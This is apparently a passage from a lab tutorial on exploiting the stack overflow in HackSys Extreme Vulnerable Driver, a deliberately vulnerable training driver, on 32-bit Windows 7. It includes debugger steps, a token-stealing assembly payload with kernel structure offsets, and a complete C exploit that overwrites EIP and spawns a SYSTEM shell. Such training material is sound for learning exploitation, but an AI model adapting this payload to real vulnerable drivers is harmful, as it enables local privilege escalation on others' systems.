#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

// IOCTL number for StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER  IOCTL(0x800)

// Usermode Buffer Size
#define BUF_SIZE 2100

INT main(void)
{    
    // Usermode Buffer
    LPVOID BUF = NULL;

    // Opening Handle to /Device/HackSysExtremeVulnerableDriver
    HANDLE h = CreateFileA(HEVD_PATH,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (h == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open handle to HEVD!!!!!\n");
    }
    else {
        printf("[#] Succesfully opened handle to HEVD...\n");
    }

    // Allocating Usermode buffer on heap due to DEP.
    BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE);
    
    if (!BUF) {
        printf("[!] Error allocating heap memory for usermode buffer.....\n");
    }
    
    // Writing Usermode Buffer with 'AAAAA...'
    memset(BUF, 'A', BUF_SIZE);

    printf("[#] Writing Kernel Buffer with AAAAAAA....\n");
    printf("[#] Opening BufferOverflowStackIOCTLHandler \n");
    ULONG Bytesreturned;
    //Calling the BufferStackOverflowIOCTLHandler
    BOOL ret =  DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL,0,&Bytesreturned, NULL );
    if (ret) {
        printf("[#] IOCTL Opened succesfully\n");
    }
    else {
        printf("[!] IOCTL Failed to open....\n");
    }

    return EXIT_SUCCESS;
}

One Important thing to notice here is that we are using dynamic memory 
instead of Static memory because DEP is enabled in all windows version 
started from windows XP SP2 in usermode as well as kernel mode. So we
Used HeapAlloc() to create a region of memory which is executable.
Compile this and run in the target VM with debugger attached.
you will get crash like this in the windbg debugger.
Then select Debug and Go unhandled Exception and then g in the kd >.

You get the crash showing the infamous BSOD.

DEBUG TIME


First lets find the exact Buffer size needed to overwrite the EIP with any address we want. Make sure to take a snapshot of the Target VM because after Kernel Crash , VM takes times to reboot .So its better to just switch the previous snapshot.


Reload the symbols using .reload then disassemble the HEVD TriggerStackBufferOverflow  function and set breakpoint at the memcpy function .

Set breakpoint at the address of HEVD!memcpy using bp 823aa235 ,then continue execution using g . Run the HEVD.exe exploit in the Target VM .



When the breakpoint is hit , check the value at the address of esp , as this is a 32-bit machine arguments are pushed on the stack . check the value stored at the address of the first and second argument , you can see that the first argument is the kernel buffer and second argument is the user mode buffer that we have filled with 'AAAAA' . 


You can see the call stack that the return address is 823aa19a which is 80 bytes plus the 2000 bytes . So, If we have to overflow 2080 bytes to overwrite the EIP.

WHERE TO GO NOW?

In Userland , the final goal of our exploit is jump to a shellcode after we have control over the EIP . But in Context of Kernel Land our main goal is to elevate our privilege to NT AUTHORITY/ SYSTEM  user which has the all rights to do anything because during an exploitation the attacker has gained access to the system through browser or any other user mode vulnerability and now the attacker needs to elevate its privilege despite the vuln is RCE. This types of exploits are generally called EOP (Elevate of privilege)or LPE (Local Privilege Escalation).

So, We will elevate our process by stealing token of high privilege process System which has PID of 4. we will steal the token of System process and replace it with the token of our process.

 IMPORTANT: First start the DebuggerVM and start the Windbg to connect to the Target Vm and then start the TargetVM beacuse it will disable the PatchGuard if connect the debugger from boot. Its better to do this to prevent any shenanigans.
Patch Guard was first added in Windows XP. It prevent Kernel from any modifications in critical structures(like if you  try to hide a process) and will leads to BSOD if this happens.

The Token stealing payload is provided by HackSysTeam payload.c 


        pushad                               ; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                         ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state


Windows Kernel includes a lot of structures which are mostly used by reverse engineers and Vuln researcher in their work . We are the doing same thing here we are parsing through the structures to eventually get the Token.


NOTE: fs register is a special register known as segment register which points to the _KPCR  data structures in 32 bit which is going to used here in the payload. gs is the same for the 64 bit architecture.


You can use Vergilius project (very useful resource) to take look at the structures used in the windows kernel . or you may use your windbg also.

This payload is very well explained by hasherezade , you can look at it if you want better understanding.


_KPCR




_KPRCB


_KTHREAD


_KAPC_STATE



_EPROCESS


EPROCESS
is the first object of the EPROCESS structure so they are same address. Now we will traverse the _LIST_ENTRY to look for the system process and then copy its token and replace it with the our token.


Final Exploit

So Here is the final exploit :

#include <windows.h>
#include <string.h>
#include <stdio.h>

// PATH includes double slashes due to LPCSTR
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

// IOCTL defined in HEVD using CTL_CODE Macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

// IOCTL number for StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER  IOCTL(0x800)

// Usermode Buffer Size
#define BUF_SIZE 2084

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealin payload

__declspec(naked) VOID TokenStealingPayload() {
    __asm {
        pushad                                ; Save registers state

        ; Start of Token Stealing Stub
        
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
                                            ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + EPROCESS_OFFSET]    ; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax                        ; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID                    ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]        ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx        ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                            ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                ; Set NTSTATUS SUCCEESS
        pop ebp                        ; Restore saved EBP
        ret 8                        ; Return cleanly
    }
}

INT main(void)
{    
    // Usermode Buffer
    PVOID EIPADDRESS = NULL;

    // Opening Handle to /Device/HackSysExtremeVulnerableDriver
    HANDLE h = CreateFileA(HEVD_PATH,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (h == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open handle to HEVD!!!!!\n");
    }
    else {
        printf("[#] Succesfully opened handle to HEVD...\n");
    }

    // Allocating Usermode buffer on heap due to DEP.
    LPVOID BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE);
    
    if (!BUF) {
        printf("[!] Error allocating heap memory for usermode buffer.....\n");
    }
    
    // Writing Usermode Buffer with 'AAAAA...'
    RtlFillMemory(BUF, BUF_SIZE, 'A');

    printf("[#] Writing Kernel Buffer with AAAAAAA....\n");

    printf("[#] Overwriting EIP with Token stealing payload \n");
    
    // EIP overwrite
    EIPADDRESS = (PVOID)((ULONG)BUF + BUF_SIZE - sizeof(ULONG));
    *(PULONG)EIPADDRESS = (ULONG)TokenStealingPayload;

    printf("[#] Opening BufferOverflowStackIOCTLHandler \n");
    printf("[#] Triggering exploit. \n");
    //Calling the BufferStackOverflowIOCTLHandler
    ULONG Bytesreturned;

    DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL, 0, &Bytesreturned, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)BUF);

    BUF = NULL ;

    printf("[#] Have Fun. \n");

    // Elevated privilege of current process.
    printf("[#] spawning NT AUTHORITY/SYSTEM SHELL !!!!!!!!\n");

    system("cmd.exe");

    return EXIT_SUCCESS;
}

We successfully elevated our privilege to NT AUTHORITY/SYTEM.


Thanks .